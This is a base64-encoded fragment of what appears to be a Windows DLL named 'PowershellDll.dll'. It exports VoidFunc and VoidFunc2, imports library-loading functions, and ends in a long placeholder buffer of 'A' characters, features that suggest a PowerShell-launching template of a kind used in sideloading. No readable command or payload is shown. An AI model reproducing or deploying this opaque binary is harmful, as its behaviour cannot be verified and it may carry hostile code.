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AgAgAAAAAAACAFgAAAAAAAIAGAAAAAAAAgAIAAAAAAACAGgAAAAAAAIAPAAAAAAAAgJsBAAAAAACACQAAAAAAAIAVAAAAAAAAgAAAAAAAAAAAEHEBAAAAAAAAAAAAAAAAABkCR2V0TW9kdWxlRmlsZU5hbWVBAABBA0xvYWRMaWJyYXJ5VwAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAABLRVJORUwzMi5kbGwAAE9MRUFVVDMyLmRsbAAARAFTdHJTdHJJQQAAU0hMV0FQSS5kbGwACAJHZXRMYXN0RXJyb3IAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUASgNMb2NhbEZyZWUAGARSdGxDYXB0dXJlQ29udGV4dAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACYEUnRsVmlydHVhbFVud2luZAAA4gRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALMEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAMYBR2V0Q3VycmVudFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAAAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA7wJJbml0aWFsaXplU0xpc3RIZWFkAAIDSXNEZWJ1Z2dlclByZXNlbnQAagJHZXRTdGFydHVwSW5mb1cAJQRSdGxVbndpbmRFeAAhBFJ0bFBjVG9GaWxlSGVhZGVyALQDUmFpc2VFeGNlcHRpb24AAPECSW50ZXJsb2NrZWRGbHVzaFNMaXN0AIAEU2V0TGFzdEVycm9yAADuAEVuY29kZVBvaW50ZXIA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24A6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ANMEVGxzQWxsb2MAANUEVGxzR2V0VmFsdWUA1gRUbHNTZXR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AAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAxO0BgAEAAADE7QGAAQAAAMTtAYABAAAAf39/f39/f3/ciAGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAALgAAAC4AAAD+/////////wAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQ